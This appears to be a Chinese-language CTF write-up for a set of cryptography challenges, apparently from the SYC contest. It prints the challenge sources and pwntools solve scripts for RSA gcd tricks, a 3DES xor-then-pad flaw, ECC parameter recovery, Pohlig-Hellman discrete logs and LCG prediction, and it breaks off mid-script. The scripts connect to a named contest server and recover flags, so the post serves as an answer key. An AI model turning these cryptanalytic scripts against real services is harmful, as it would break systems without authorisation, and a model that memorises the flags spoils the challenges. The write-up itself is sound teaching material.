#n= 728002565949733279371529990942440022467681592757835980552797682116929657292509059813629423038094227544032071413317330087468458736175902373398210691802243764786251764982802000867437756347830992118278032311046807282193498960587170291978547754942295932606784354258945168927044376692224049202979158068158842475322825884209352566494900083765571037783472505580851500043517614314755340168507097558967372661966013776090657685241689631615245294004694287660685274079979318342939473469143729494106686592347327776078649315612768988028622890242005700892937828732613800620455225438339852445425046832904615827786856105112781009995862999853122308496903885748394541643702103368974605177097553007573113536089894913967154637055293769061726082740854619536748297829779639633209710676774371525146758917646731487495135734759201537358734170552231657257498090553682791418003138924472103077035355223367678622115314235119493397080290540006942708439607767313672671274857069053688258983103863067394473084183472609906612056828326916114024662795812611685559034285371151973580240723680736227737324052391721149957542711415812665358477474058103338801398214688403784213100455466705770532894531602252798634923125974783427678469124261634518543957766622712661056594132089

参考GKCTF 2021 - RRRRsa相关推导,消元求gcd得 $p$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
e1= 113717
e2= 80737
e = 65537
c1= 97528398828294138945371018405777243725957112272614466238005409057342884425132214761228537249844134865481148636534134025535106624840957740753950100180978607132333109806554009969378392835952544552269685553539656827070349532458156758965322477969141073720173165958341043159560928836304172136610929023123638981560836183245954461041167802574206323129671965436040047358250847178930436773249800969192016749684095882580749559014647942135761757750292281205876241566597813517452803933496218995755905344070203047797893640399372627351254542342772576533524820435965479881620338366838326652599102311019884528903481310690767832417584600334987458835108576322111553947045733143836419313427495888019352323209000292825566986863770366023326755116931788018138432898323148059980463407567431417724940484236335082696026821105627826117901730695680967455710434307270501190258033004471156993017301443803372029004817834317756597444195146024630164820841200575179112295902020141040090350486764038633257871003899386340004440642516190842086462237559715130631205046041819931656962904630367121414263911179041905140516402771368603623318492074423223885367923228718341206283572152570049573607906130786276734660847733952210105659707746969830132429975090175091281363770357
c2= 353128571201645377052005694809874806643786163076931670184196149901625274899734977100920488129375537186771931435883114557320913415191396857882995726660784707377672210953334914418470453787964899846194872721616628198368241044602144880543115393715025896206210152190007408112767478800650578941849344868081146624444817544806046188600685873402369145450593575618922226415069043442295774369567389939040265656574664538667552522329712111984168798829635080641332045614585247317991581514218486004191829362787750803153463482021229058714990823658655863245025037102127138472397462755776598314247771125981017814912049441827643898478473451005083533693951329544115861795587564408860828213753948427321483082041546722974666875065831843384005041800692983406353922680299538080900818930589336142421748023025830846906503542594380663429947801329079870530727382679634952272644949425079242992486832995962516376820051495641486546631849426876810933393153871774796182078367277299340503872124124714036499367887886486264658590613431293656417255355575602576047502506125375605713228912611320198066713358654181533335650785578352716562937038768171269136647529849805172492594142026261051266577821582011917001752590659862613307646536049830151262848916867223615064832279222
c= 375617816311787295279632219241669262704366237192565344884527300748210925539528834207344757670998995567820735715933908541800125317082581328287816628816752542104514363629022246620070560324071543077301256917337165566677142545053272381990573611757629429857842709092285442319141751484248315990593292618113678910350875156232952525787082482638460259354559904243062546518553607882194808191571131590524874275187750985821420412987586148770397073003186510357920710387377990379862185266175190503647626248057084923516190642292152259727446111686043531725993433395002330208067534104745851308178560234372373476331387737629284961288204368572750848248186692623500372605736825205759172773503283282321274793846281079650686871355211691681512637459986684769598186821524093789286661348936784712071312135814683041839882338235290487868969391040389837253093468883093296547473466050960563347060307256735803099039921213839491129726807647623542881247210251994139130146519265086673883077644185971830004165931626986486648581644383717994174627681147696341976767364316172091139507445131410662391699728189797082878876950386933926807186382619331901457205957462337191923354433435013338037399565519987793880572723211669459895193009710035003369626116024630678400746946356
n= 728002565949733279371529990942440022467681592757835980552797682116929657292509059813629423038094227544032071413317330087468458736175902373398210691802243764786251764982802000867437756347830992118278032311046807282193498960587170291978547754942295932606784354258945168927044376692224049202979158068158842475322825884209352566494900083765571037783472505580851500043517614314755340168507097558967372661966013776090657685241689631615245294004694287660685274079979318342939473469143729494106686592347327776078649315612768988028622890242005700892937828732613800620455225438339852445425046832904615827786856105112781009995862999853122308496903885748394541643702103368974605177097553007573113536089894913967154637055293769061726082740854619536748297829779639633209710676774371525146758917646731487495135734759201537358734170552231657257498090553682791418003138924472103077035355223367678622115314235119493397080290540006942708439607767313672671274857069053688258983103863067394473084183472609906612056828326916114024662795812611685559034285371151973580240723680736227737324052391721149957542711415812665358477474058103338801398214688403784213100455466705770532894531602252798634923125974783427678469124261634518543957766622712661056594132089

x1 = pow(c1 * pow(3, -e1, n),e2,n)
x2 = pow(c2 * pow(7, -e2, n),e1,n)
p = gcd(x1-x2, n)
q = n//p
f = (p-1)*(q-1)
d = inverse_mod(e,f)
m= pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

# b'SYC{poly_rsa_Just_need5_s1mple_gcd}'

Simple3DES

题目链接:nc 59.110.20.54:23333 https://blog.csdn.net/Mr_wzc/article/details/121713518

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from Crypto.Cipher import DES3
from Crypto.Util.number import *
import os
import random
import string
import hashlib

xor = lambda a,b: bytes([a[i % len(a)] ^ b[i % len(b)] for i in range(max(len(a), len(b)))])
pad = lambda msg,padlen: msg+chr((padlen-(len(msg)%padlen))).encode()*(padlen-(len(msg)%padlen))

flag = os.environ.get("FLAG", "SYC{Al3XEI_FAKE_FLAG}").encode()
sec = os.urandom(8)

banner = '|'*70

DEBUG = False
def proof_of_work():
if DEBUG:
return True
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
digest = hashlib.sha256(proof.encode()).hexdigest()
print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
x = input("Give me XXXX: ")
if len(x)!=4 or hashlib.sha256((x+proof[4:]).encode()).hexdigest() != digest:
return False
print("Right!")
return True



def enc(msg,key):
try:
key = long_to_bytes(key)
msg = xor(long_to_bytes(msg),sec)
des = DES3.new(key,DES3.MODE_ECB)
ct = xor(des.encrypt(pad(msg,8)),sec)
return bytes_to_long(ct)
except Exception as e:
print(e)
return Exception

def service():
cnt = 0
if not proof_of_work():
exit()
print(banner)
print('Simple DES Encryption Service')
print(banner)
while cnt<2:
print('1. Encrypt\n2. Get encrypted flag.')
choice = int(input('> '))
if choice == 1:
print('Input msg:')
msg = int(input('> ').strip())
print('Input key:')
key = int(input('> ').strip())
print(enc(msg,key))
elif choice == 2:
print('Input key:')
key = int(input('> ').strip())
print(enc(bytes_to_long(flag),key))
else:
exit()
cnt+=1
print(banner)
print('Bye!')
exit()

try:
service()
except Exception:
print("Something goes wrong...\n")
print(banner+'\n')
exit()

代码问题在先xor后pad,对于 m=b'\x00',有 m^sec=secpad(sec,8)=sec+b'\x08'*8

第一轮:

pad(sec,8)=sec+b'\x08'*8,加密得到 c1^x | c2^x,又由 b'\x08'*8 可求出 c2,得到 x

第二轮:

已知 c'^x,解密得到 flag^x,再异或得到 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from hashlib import sha256
import string
from pwnlib.util.iters import mbruteforce
from Crypto.Util.number import *
from Crypto.Cipher import DES3

r = remote("59.110.20.54",23333)

table = string.ascii_letters+string.digits
def PoW():
r.recvuntil(b"XXXX+")
suffix = r.recv(16).decode("utf8")
r.recvuntil(b"== ")
cipher = r.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
cipher, table, length=4, method='fixed')
r.sendlineafter(b'XXXX: ', proof.encode())

PoW()

xor = lambda a,b: bytes([a[i % len(a)] ^ b[i % len(b)] for i in range(max(len(a), len(b)))])

m = bytes_to_long(b'\x00')
key = bytes_to_long(b'abcdefgh'+b'ijklmnop'+b'qrstuvwx')

r.recvuntil(b'flag.\n')
r.sendlineafter(b'> ',b'1')
r.recvuntil(b'msg:\n')
r.sendlineafter(b'> ',str(m).encode())
r.recvuntil(b'key:\n')
r.sendlineafter(b'> ',str(key).encode())

c_xor = long_to_bytes(eval(r.recvline()))
c1_xor,c2_xor = c_xor[:8],c_xor[8:]

des = DES3.new(long_to_bytes(key),DES3.MODE_ECB)

c2 = des.encrypt(b'\x08'*8)
sec = xor(c2,c2_xor)
print(sec)

r.recvuntil(b'flag.\n')
r.sendlineafter(b'> ',b'2')
r.recvuntil(b'key:\n')
r.sendlineafter(b'> ',str(key).encode())

flag_c_xor = long_to_bytes(eval(r.recvline()))
flag_c = xor(flag_c_xor,sec)
flag_xor = des.decrypt(flag_c)
flag = xor(flag_xor,sec)
print(flag)

r.interactive()

# b'SYC{DES_1s_0ut_0f_t1me}o'

JPGDiff

图片中的字符串即为flag

提示图片为Hilbert曲线,且长图为1*65536的jpg图片,符合8阶Hilbert曲线的节点数。

按8阶Hilbert曲线的顺序来布置每一个1*1像素,即可还原原始图片。

利用hilbertcurve包完成构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from hilbertcurve.hilbertcurve import HilbertCurve
from PIL import Image
im_cp = Image.open("ct.png")
im_new = Image.new('RGB',(256,256))

p=8; n=2
hilbert_curve = HilbertCurve(p, n)
distances = list(range(65536))
points = hilbert_curve.points_from_distances(distances)
order = []
for point, dist in zip(points, distances):
#print(f'{dist} = {tuple(point)}')
order.append(tuple(point))

print(len(order))

for k in range(65536):
tmp = im_cp.getpixel((0,k))
im_new.putpixel(order[k],tmp)

im_new.save('m.png')

得到图片:

m

flag:SYC{H1LB5RT_C1pher}

Energetic_Carcano

题目链接:nc 59.110.20.54:8763 https://en.wikipedia.org/wiki/Elliptic-curve_cryptography

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# from sage.all import *
import os
import random
import string
import hashlib
from Crypto.Util.number import *

DEBUG = True

banner = '|'*70
flag = os.environ.get("FLAG", b"SYC{Al3XEI_FAKE_FLAG}").encode()
pbits = 120
abp = "abp"


def proof_of_work():
if DEBUG:
return True
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
digest = hashlib.sha256(proof.encode()).hexdigest()
print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
x = input("Give me XXXX: ")
if len(x)!=4 or hashlib.sha256((x+proof[4:]).encode()).hexdigest() != digest:
return False
print("Right!")
return True

def check(a,b,p,turn,ans):
if DEBUG:
return True
try:
if turn == "a":
return int(a) == ans
if turn == "b":
return int(b) == ans
if turn == "p":
return int(p) == ans
except Exception:
exit()


try:
if not proof_of_work():
exit()
print(banner)
print('\nHi Crypto-ers! AL3XEI here. I know you are excellent at math, so I prepared a game for u.')
print('In the equation y^2 = x^3+ a*x + b (mod p), 4 points are given. Plz give me the right a, b or p to contine the game.')
print('Good Luck!\n')
print(banner+'\n')

for i in range(10):
turn = random.choice(abp)
p = getPrime(pbits)
a,b = [next_prime(random.randint(2,p)) for _ in "ab"]
curve = EllipticCurve(GF(p),[a,b])
pts = [curve.random_point() for _ in range(4)]
pts = [(_[0], _[1]) for _ in pts]
for _ in pts:
print(_,end=" ")
print('\nGive me '+turn+" :")
ans = int(input('> '))
if check(a,b,p,turn,ans):
print("Good! Next challenge->\n")
print(banner+'\n')
pbits+=5
continue
else:
print("Something goes wrong...\n")
print(banner+'\n')
exit()

print('Congrats! Your flag is:',flag)

except Exception:
print("Something goes wrong...\n")
print(banner+'\n')
exit()

类似LCG计算 $a,b,p$ 的方法,利用结式计算 $a,b,p$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from hashlib import sha256
import string
from pwnlib.util.iters import mbruteforce
from sage.matrix.matrix2 import Matrix
def resultant(f1, f2, var):
return Matrix.determinant(f1.sylvester_matrix(f2, var))

r = remote("59.110.20.54",int(8763))

table = string.ascii_letters+string.digits
def PoW():
r.recvuntil(b"XXXX+")
suffix = r.recv(16).decode("utf8")
r.recvuntil(b"== ")
cipher = r.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
cipher, table, length=4, method='fixed')
r.sendlineafter(b'XXXX: ', proof.encode())

PoW()

r.recvuntil(b'Luck!\n')

for i in range(10):
r.recvline()
r.recvline()
r.recvline()

(x1,y1),(x2,y2),(x3,y3),(x4,y4) = eval(r.recvline().replace(b') (', b'), ('))

PR.<a,b,p,k1,k2,k3,k4> = PolynomialRing(ZZ)
f1 = (y1^2+k1*p)-(x1^3+a*x1+b)
f2 = (y2^2+k2*p)-(x2^3+a*x2+b)
f3 = (y3^2+k3*p)-(x3^3+a*x3+b)
f4 = (y4^2+k4*p)-(x4^3+a*x4+b)
g1 = resultant(f1, f2, b)
g2 = resultant(f2, f3, b)
g3 = resultant(f3, f4, b)
h1 = resultant(g1, g2, a)
h2 = resultant(g2, g3, a)
p_gcd = gcd(h1(p=0),h2(p=0))
p = list(zip(*factor(p_gcd)))[0][-1]

PR.<a,b> = PolynomialRing(Zmod(p))
f1 = y1^2-(x1^3+a*x1+b)
f2 = y2^2-(x2^3+a*x2+b)
g = resultant(f1, f2, b)
a = g.univariate_polynomial().roots()[0][0]
b = y1^2-(x1^3+a*x1)
print(f'a = {a}')
print(f'b = {b}')
print(f'p = {p}')
print(f2(a,b))

r.recvuntil(b'me ')
op = r.recv(1)
print(op)
r.recvuntil(b'> ')

if op == b'a':
r.sendline(str(a).encode())
elif op == b'b':
r.sendline(str(b).encode())
else:
r.sendline(str(p).encode())

print(r.recvline())

r.interactive()

# Congrats! Your flag is: b'SYC{ECC_M4ster}'

Just need One

题目链接:nc 59.110.20.54:2613 One bullet to kill all Outlaws.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os 
import random
import string
import hashlib

flag = os.environ.get("FLAG", b"SYC{Al3XEI_FAKE_FLAG}")
DEBUG = False
banner = '|'*70
if DEBUG:
print("==DEBUG MODE==")

def proof_of_work():
if DEBUG:
return True
proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
digest = hashlib.sha256(proof.encode()).hexdigest()
print("sha256(XXXX+%s) == %s" % (proof[4:], digest))
x = input("Give me XXXX: ")
if len(x)!=4 or hashlib.sha256((x+proof[4:]).encode()).hexdigest() != digest:
return False
print("Right!")
return True

try:
if not proof_of_work():
exit()
print(banner)
parms = [random.getrandbits(32) for _ in range(128)]
res = res = int(input('Give me x calculating f(x) :\n> '))
if res >= 2**32:
print("Give me something smaller.\n")
print(banner+'\n')
exit()

cnt = 0
for _ in range(128):
cnt += pow(res,_)*parms[_]
print(cnt)
ans = input('Give me Coefficients :\n> ')
ans = [int(_) for _ in ans.split(",")]

if ans == parms:
print('Congrats! Your flag is:',flag)
else:
exit()

except Exception:
print("Something goes wrong...\n")
print(banner+'\n')
exit()

本质是进制转换的计算方法,提供 $x$ 后给出 $\sum\limits_{i=0}^{128}p_ix^i$,求各 $p_i$。利用取余和整除计算即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from hashlib import sha256
import string
from pwnlib.util.iters import mbruteforce

r = remote("59.110.20.54",2613)

table = string.ascii_letters+string.digits
def PoW():
r.recvuntil(b"XXXX+")
suffix = r.recv(16).decode("utf8")
r.recvuntil(b"== ")
cipher = r.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
cipher, table, length=4, method='fixed')
r.sendlineafter(b'XXXX: ', proof.encode())

PoW()

r.recvuntil(b'> ')
x = 4294967295
r.sendline(b'4294967295')
c = eval(r.recvline())
print(c)

r.recvuntil(b'> ')
param = []

for i in range(128):
param.append(c % x)
c = (c-param[-1])//x

r.sendline(str(param).encode().strip(b'[').strip(b']'))
r.interactive()

Fi1nd_th3_x’

听说在那个大陆有位叫jrl777的旅行者……Cryptoer穿越到了提瓦特就要拿出真本事!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
from libnum import*
from secret import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
e = getPrime(32)
n = p*q*r
phi = (p-1)*(q-1)*(r-1)
d = inverse(e,phi)
dP = d%((q-1)*(r-1))
dQ = d%((p-1)*(r-1))
dR = d%((p-1)*(q-1))
m = s2n(flag.encode())
c = pow(m,e,n)

print('p=',p)
print('q=',q)
print('r=',r)
print('dP=',dP)
print('dQ=',dQ)
print('dR=',dR)
print('c=',c)

'''
p= 13014610351521460822156239705430709078128228907778181478242620569429327799535062679140131416771915929573454741755415612880788196172134695027201422226050343
q= 12772373441651008681294250861077909144300908972709561019514945881228862913558543752401850710742410181542277593157992764354184262443612041344749961361188667
r= 12128188838358065666687296689425460086282352520167544115899775800918383085863282204525519245937988837403739683061218279585168168892037039644924073220678419
dP= 116715737414908163105708802733763596338775040866822719131764691930369001776551671725363881836568414327815420649861207859100479999650414099346914809923964116101517432576562641857767638396325944526867458624878906968552835814078216316470330511385701105459053294771612727181278955929391807414985165924450505855941
dQ= 44209639124029393930247375993629669338749966042856653556428540234515804939791650065905841618344611216577807325504984178760405516121845853248373571704473449826683120387747977520655432396578361308033763778324817416507993263234206797363191089863381905902638111246229641698709383653501799974217118168526572365797
dR= 60735172709413093730902464873458655487237612458970735840670987186877666190533417038325630420791294593669609785154204677845781980482700493870590706892523016041087206844082222225206703139282240453277802870868459288354322845410191061009582969848870045522383447751431300627611762289800656277924903605593069856921
c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009
'''

由于 $m<qr,m<pr,m<pq$,故 $m=c^{dP} \bmod {qr}=c^{dQ} \bmod {pr}=c^{dR} \bmod {pq}$,否则需应用CRT来求 $m$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
p= 13014610351521460822156239705430709078128228907778181478242620569429327799535062679140131416771915929573454741755415612880788196172134695027201422226050343
q= 12772373441651008681294250861077909144300908972709561019514945881228862913558543752401850710742410181542277593157992764354184262443612041344749961361188667
r= 12128188838358065666687296689425460086282352520167544115899775800918383085863282204525519245937988837403739683061218279585168168892037039644924073220678419
dP= 116715737414908163105708802733763596338775040866822719131764691930369001776551671725363881836568414327815420649861207859100479999650414099346914809923964116101517432576562641857767638396325944526867458624878906968552835814078216316470330511385701105459053294771612727181278955929391807414985165924450505855941
dQ= 44209639124029393930247375993629669338749966042856653556428540234515804939791650065905841618344611216577807325504984178760405516121845853248373571704473449826683120387747977520655432396578361308033763778324817416507993263234206797363191089863381905902638111246229641698709383653501799974217118168526572365797
dR= 60735172709413093730902464873458655487237612458970735840670987186877666190533417038325630420791294593669609785154204677845781980482700493870590706892523016041087206844082222225206703139282240453277802870868459288354322845410191061009582969848870045522383447751431300627611762289800656277924903605593069856921
c= 93063188325241977486352111369210103514669725591157371105152980481620575818945846725056329712195176948376321676112726029400835578531311113991944495646259750817465291340479809938094295621728828133981781064352306623727112813796314947081857025012662546178066873083689559924412320123824601550896063037191589471066773464829226873338699012924080583389032903142107586722373131642720522453842444615499672193051587154108368643495983197891525747653618742702589711752256009

m1=pow(c,dP,q*r)
m2=pow(c,dQ,p*r)
m3=pow(c,dR,p*q)
print(bytes.fromhex(hex(m1)[2:]))

# b'SYC{CRT_1s_f3n_but_Gen3hi_im9act_is_a_balabalaba}'

Quick_Robert

题目链接:nc 59.110.20.54:3042 https://en.wikipedia.org/wiki/Quadratic_residue

参考 Some sums of Legendre’s symbols,利用二次剩余的求和特性计算:

$\sum\limits_{x=0}^{p-1}\left(\cfrac{ax^2+bx+c}p\right) = \left\{\begin{array}{cl}-\left(\cfrac ap\right),& p \nmid b^2-4ac \newline (p-1)\left(\cfrac ap\right),
& p \mid b^2-4ac \end{array}\right.$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from hashlib import sha256
import string
from pwnlib.util.iters import mbruteforce
import sympy

r = remote("59.110.20.54",3042)

table = string.ascii_letters+string.digits
def PoW():
r.recvuntil(b"XXXX+")
suffix = r.recv(16).decode("utf8")
r.recvuntil(b"== ")
cipher = r.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==
cipher, table, length=4, method='fixed')
r.sendlineafter(b'XXXX: ', proof.encode())

PoW()

r.recvuntil(b'success!')

for i in range(10):
print(i)
r.recvuntil(b'|||||\n\n')
a = eval(r.recvuntil(b'*')[:-1])
r.recvuntil(b'+')
b = eval(r.recvuntil(b'*')[:-1])
r.recvline()
exec(r.recvuntil(b'(')[:-1])
print(f'a = {a}')
print(f'b = {b}')
print(f'p = {p}')
delta = b**2-4*a
x = sympy.legendre_symbol(a,p)
x = x*(p-1 if delta%p==0 else -1)
print(f'x = {x}')
r.sendlineafter(b'answer: ',str(x).encode())
print(r.recvline())
print()


r.interactive()

Diligent_Liszt

https://en.wikipedia.org/wiki/Discrete_logarithm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import gmpy2 as gp 
import random
from Crypto.Util.number import *

DEBUG = False

flag = b"SYC{Al3XEI_FAKE_FLAG}"
assert flag.startswith(b"SYC")
nbits = 512
g = 3

def gen_p_1(digit):
primes = []
pri = 1
while(len(primes)<100):
pri = gp.next_prime(pri)
primes.append(int(pri))
while True:
count = 2
while count < 2**digit:
count *= random.choice(primes)
count += 1
if(gp.is_prime(count)):
return count


p,q,r = [gen_p_1(nbits) for _ in "pqr"]

n = p*q*r
x = bytes_to_long(flag)
y = gp.powmod(g,x,n)


print("p = {}".format(p))
print("q = {}".format(q))
print("r = {}".format(r))
print("y = {}".format(y))

if DEBUG:
print("x = {}".format(x))

'''
p = 1068910928091265978478887270179608140018534288604159452828300604294675735481804963679672853224192480667904101881092533866322948043654533322038484907159945421
q = 1711302770747802020613711652777299980542669713888988077474955896217408515180094849053961025086865697904731088087532944829046702427480842253022459937172565651
r = 132969813572228739353704467775972551435751558645548804253458782569132362201099158857093676816706297676454547299888531536236748314013888413096371966359860637
y = 5385116324746699759660077007129548063211490907227715474654765255668507958312745677683558789874078477569613259930365612562164095274660123330458355653249805062678976259429733060364358954180439218947514191603330532117142653558803034110759332447742304749985874760435453594107494324797235909651178472904825071375135846093354526936559640383917210702874692725723836865724807664892994298377375580807917514349966834376413176898806591411038129330967050554114677719107335006266

'''

DLP,Pohlig–Hellman算法+CRT。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
p = 1068910928091265978478887270179608140018534288604159452828300604294675735481804963679672853224192480667904101881092533866322948043654533322038484907159945421
q = 1711302770747802020613711652777299980542669713888988077474955896217408515180094849053961025086865697904731088087532944829046702427480842253022459937172565651
r = 132969813572228739353704467775972551435751558645548804253458782569132362201099158857093676816706297676454547299888531536236748314013888413096371966359860637
y = 5385116324746699759660077007129548063211490907227715474654765255668507958312745677683558789874078477569613259930365612562164095274660123330458355653249805062678976259429733060364358954180439218947514191603330532117142653558803034110759332447742304749985874760435453594107494324797235909651178472904825071375135846093354526936559640383917210702874692725723836865724807664892994298377375580807917514349966834376413176898806591411038129330967050554114677719107335006266

g = 3

def babystep_giantstep(g, y, p, q=None):
if q is None:
q = p - 1
m = int(q**0.5 + 0.5)
# Baby step
table = {}
gr = 1 # g^r
for r in range(m):
table[gr] = r
gr = (gr * g) % p
# Giant step
try:
gm = pow(g, -m, p) # gm = g^{-m}
except:
return None
ygqm = y # ygqm = y * g^{-qm}
for q in range(m):
if ygqm in table:
return q * m + table[ygqm]
ygqm = (ygqm * gm) % p
return None

# Pohlig–Hellman法
def pohlig_hellman_DLP(g, y, p):
crt_moduli = []
crt_remain = []
for q, _ in factor(p-1):
x = babystep_giantstep(pow(g,(p-1)//q,p), pow(y,(p-1)//q,p), p, q)
if (x is None) or (x <= 1):
continue
crt_moduli.append(q)
crt_remain.append(x)
x = crt(crt_remain, crt_moduli)
return x

xp = pohlig_hellman_DLP(g, y%p, p)
xq = pohlig_hellman_DLP(g, y%q, q)
xr = pohlig_hellman_DLP(g, y%r, r)
x = crt([xp,xq,xr],[p-1,q-1,r-1])
print(bytes.fromhex(hex(x)[2:]))

b'SYC{D1scr3te_L0g_W1th_Mult1pl3_pr1m35}'

card_game

AL3XEI送给了你这个游戏的关键数据,你能预测接下来要出的牌吗 nc 59.110.20.54 4953

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from Crypto.Util.number import *
from cards import Heart, Spade, Club, Diamond
from secret import flag

def choose_card(num):
x = (num>>5)%4
if x == 0:
return (Heart[(num>>6)%13]), 'Heart'
if x%4 == 1:
return (Spade[(num>>6)%13]), 'Spade'
if x%4 == 2:
return (Diamond[(num>>6)%13]), 'Diamond'
else:
return (Club[(num>>6)%13]), 'Club'

def GAME():
banner = '''
#### ## ##### ##### #### ## # # ######
# # # # # # # # # # # # ## ## #
# # # # # # # # # # # ## # #####
# ###### ##### # # # ### ###### # # #
# # # # # # # # # # # # # # #
#### # # # # ##### #### # # # # ######
'''
print(banner)

meum = '''option:
1: start game
2: get hint
3: exit
'''
print(meum)

while True:
print('input your option: ', end='')
your_input = input()

if your_input == '1':
n = getPrime(36)
m = getPrime(16)
c = getPrime(16)
seed = getPrime(36)
out = seed
round = 0
score = 0
res = []
while True:
round += 1
res = []
print(f'round:{round}')
print(f'score:{score}')
for i in range (3):
out = (out*m+c)%n
res.append(out)
if round == 1:
for i in res:
card, suit = choose_card(i)
print(card)
elif round==2 or round==3: #gift
for i in res:
card, suit = choose_card(i)
print(card)
print(f'gift: {res}')
else:
cards = []
suits = []
for i in range(len(res)):
card, suit = choose_card(res[i])
cards.append(card)
suits.append(suit)
print("Give me your guess: (example: Heart_1 Club_2 Diamond_3)")
try:
g_1, g_2, g_3 = input().split()
g_1, g_2, g_3 = g_1.split('_'), g_2.split('_'), g_3.split('_')
except ValueError:
print("Please enter in the correct format.")
return
if (g_1[0] == suits[0] and g_1[1] == cards[0][15]) and (g_2[0] == suits[1] and g_2[1] == cards[1][15]) and (g_3[0] == suits[2] and g_3[1] == cards[2][15]):
for i in cards:
print(i)
print("Congratulations! You matched the cards!")
score += 1
else:
for i in cards:
print(i)
print("Try again!")
if score == 50:
print('The flag is your reward!')
print(flag)
return
else:
continue

if your_input == '2':
print("Have you ever heard of LCG?")

if your_input == '3':
break

if __name__ == '__main__':
GAME()

代码逻辑本质是LCG,有个坑点,比对的时候,10是0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from hashlib import sha256
import string
from pwnlib.util.iters import mbruteforce
from functools import reduce
from math import gcd
from Crypto.Util.number import *

def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment

def crack_unknown_multiplier(states, modulus):
multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)

def choose_card(num):
x = (num>>5)%4
if x == 0:
return (num>>6)%13, 'Heart'
if x%4 == 1:
return (num>>6)%13, 'Spade'
if x%4 == 2:
return (num>>6)%13, 'Diamond'
else:
return (num>>6)%13, 'Club'

r = remote("59.110.20.54",4953)

r.sendlineafter(b'option: ',b'1')

seq = []
r.recvuntil(b'gift: ')
seq += eval(r.recvline())
r.recvuntil(b'gift: ')
seq += eval(r.recvline())
print(seq)

n, m, c = crack_unknown_modulus(seq)
print((n,m,c))

out = seq[-1]

